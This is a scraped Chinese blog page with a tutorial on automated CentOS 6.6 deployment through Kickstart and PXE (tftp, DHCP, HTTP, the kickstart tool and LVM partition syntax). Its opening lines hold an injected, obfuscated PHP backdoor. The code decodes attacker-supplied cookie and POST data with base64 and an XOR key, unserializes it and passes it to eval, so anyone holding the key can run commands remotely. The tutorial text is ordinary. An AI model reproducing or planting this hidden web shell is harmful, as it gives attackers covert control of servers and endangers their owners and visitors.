$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Kickstart+PXE自动部署CentOS6.6 | Linux运维部落

Kickstart+PXE自动部署CentOS6.6

    生产环境中对于部署大量的相同系统的服务器,如果逐台安装操作系统的话是非常浪费时间的工作,还好CentOS提供了无人值守安装系统的功能,下面就详细介绍一下配置步骤。

一、配置本机的yum源

    因为需要安装一些软件来达到我们的目的,所以最好先把yum源配置好。

    将光盘挂载到/media/目录下。

1.1.png

1.png

二、安装所需要用到的软件

    tftp-server:简单文件传输协议,用于向客户端提供安装引导相关的文件。

    dhcp:动态主机配置协议,为客户端分配IP地址。

    http:为客户端提供系统安装时所需的文件。

    system-config-kickstart:用于生成kickstart配置文件。

1.png

三、关闭防火墙和SELinux

3.png

四、配置tftp服务器  

    1、修改配置文件

1.1.png1.png

    将disable设置为"no"。 

    2、重启服务

2.png

    3、查看tftp服务器端口

4.png

    4、复制pxelinux.0文件到/var/lib/tftpboot目录中

5.png

        注意:通常/usr/share目录下的syslinux目录是存在的,万一你的系统里没有这个目录,可以先执行yum -y install syslinux安装这个软件,然后再进行复制操作。

    5、从安装光盘中复制isolinux目录中的内容到/var/lib/tftpboot目录中

6.png7.png

    6、在/var/lib/tftpboot/目录下创建目录pxelinux.cfg

2.png

    7、复制/var/lib/tftpboot/isolinux.cfg文件到/var/lib/tftpboot/pxelinux.cfg目录中,并改名为default

8.png

    8、修改default文件

        default文件中用来定义安装时的引导菜单的,我们可以对此文件进行修改来定制安装界面。

7.png

        注:192.168.253.128为此台kickstart服务器的IP地址。   

五、配置DHCP

    1、修改/etc/dhcp/dhcpd.conf文件

9.png

    2、重启服务

10.png六、配置HTTP

    1、在http的根目录中创建目录,用于挂载系统镜像文件

1.1.png

    2、挂载光盘到新建的目录

1.png

七、生成kickstart配置文件

    1、打开kickstart配置工具

        在图形界面中打开终端,输入下面的命令来调出kickstart配置工具。

1.1.png1.png

    2、配置语言、时区、root密码等基本信息

2.png

    3、选择安装的方式

        此处只使用http协议进行演示,其它的安装方式都是大同异的,都可以按照此方法来进行配置。

3.png

    4、创建分区

4.png

    5、添加网卡设备 

5.png

    6、关闭SELinux和防火墙

6.png

    7、选择需要安装的软件包

        此处只选择了最基本的软件包。

7.png    8、创建安装后脚本 

8.png

    9、保存配置文件

9.png10.png

    注:上面的配置过程中没有讲解到的配置一律采用默认配置即可。

    10、在配置文件中创建分区及LVM

        如下图所示,红框标注的即为分区配置信息。

1.1.png

    下面来看一下ks配置文件中的创建分区格式:

        创建分区:part

        创建物理卷:part pv.ID 

        创建卷组:volgroup 卷组名 –pesize=PE块大小 PV

        创建逻辑卷:logvol 挂载点 –fstype=文件系统格式 –name=卷名 –vgname=VG卷名 –size=容量 

    根据上面的总结我们来看看图中是如何分区的:

    clearpart –linux –drivers=sda:表示清除sda上所有Linux分区;

    part /boot –fstype="ext4" –size=500:划分500M的空间给/boot,分区格式为ext4;

    part pv.01 –grow –size=1:将sda上所有的剩余空间全部制作成物理卷pv.01;

    volgroup VolGroup –pesize=4096 pv.01:将物理卷pv.01划分到VolGroup卷组中;

    logvol / –fstype="ext4" –name=lv_root –vgname=VolGroup –size=10240:从卷组VolGroup中划分10G的空间制作为逻辑卷用于根分区,逻辑卷的名称为lv_root,其格式为ext4;

    logvol swap –name=lv_swap –vgname=VolGroup –size=2048:从卷组VolGroup中划分2G的空间制作为逻辑卷用于swap分区,逻辑卷的名称为lv_swap。

八、使用无人值守方式安装CentOS6.6系统

    对于一台没有任何系统的机器可以直接进入到下图所示的界面,可以看到其标签就是我们在上面default文件中自定义的文字。

12.png

    经过前面一系列的环境检查后,就直接时入了文本安装界面,如下图所示:

13.png

    安装完成后就直接进入系统了。

14.png

    下面我们来验证一下,各种预设的配置是否生效了:

15.png

    输入刚才设置好的密码顺利进入到系统,并且也获得了IP地址;

16.png

    各分区结果与预设置的情况相符合;

19.png

    还记得我们在最后设置了post脚本,自动创建yum源,也成功建立了。

   

    注:以上演示的过程是最基本的部署步骤和内容,我们还可以利用ks配置文件和post脚本完在更加复杂的系统安装、配置工作。

    

原创文章,作者:petmaster,如若转载,请注明出处:http://www.178linux.com/4269

(0)
上一篇 2015-05-12 16:07
下一篇 2015-05-12 23:01

相关推荐

  • N26第六周博客作业

    请详细总结vim编辑器的使用并完成以下练习题 1、               复制/etc/rc.d/rc.sysinit文件至/tmp目录,将/tmp/rc.sysinit文件中的以至少一个空白字符开头的行的行首加#…

    Linux干货 2017-03-13
  • grep命令

    grep命令:grep(global search regular expression(RE) and print out the line,全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来;grep搜索的结果被送到屏幕,不影响原文件内容。Unix的grep家族包括grep、egrep和fgrep…

    Linux干货 2016-08-08
  • 磁盘管理,软raid,脚本基础

    1、创建一个10G分区,并格式为ext4文件系统; (1) 要求其block大小为2048, 预留空间百分比为2, 卷标为MYDATA, 默认挂载属性包含acl; mke2fs -t ext4 -L MYDATA -m 2 /dev/sdb tune2fs -o acl /dev/sdb (2) 挂载至/data/mydata目录,要求挂载时禁止程序自动运行…

    Linux干货 2017-10-25
  • Linxux运维基础小计

    常用cat、ls、touch、mkdir、cp、mv小结 ·cat连续的将文件的内容显示在银幕上 用法:cat[OPTION]…[FILE]… 参数 -A显示所有非正常的所有符号 -E显示行结束符 -T显示制表符 -v显示其他的非打印字符 -n对显示的行进行编号,与文件内容没有关系 -b:打印出行号(空白行不标行号) 直接输入cat命令表示等待用户的输入并打…

    2017-02-18
  • sed的详细用法

    sed(Stream EDitor)是一款流编辑器,用来对文本进行过滤与替换操作。其原理是:通过文件或管道读取文件内容,但是sed默认并不直接修改源文件,而是一次仅读取文件的一行至模式空间(pattern space)根据sed指令进行编辑并输出结果后清除模式空间,即所有的操作都是在模式空间中进行的。 语法格式 sed [option]…&nb…

    Linux干货 2016-11-14
  • linux快捷键

    $ 用法 $变量名 表引用变量的值 $()或(单引号) 表示引用命令执行的结果 $[] 表示运算 ${变量名} 或"$变量名" 当变量名的起止不分明时,用来划定变量名的范围,同时引用变量。 {} 用法 {a..z} 表示引用指定范围的字母 {1..9999} 表示引用指定范围的数字​ {1,3,5} 表示分别引用每一个字符 TAB 用法 …

    Linux干货 2017-07-13

评论列表(1条)

  • stanley
    stanley 2015-05-12 23:00

    干净整洁清晰明了,赞!!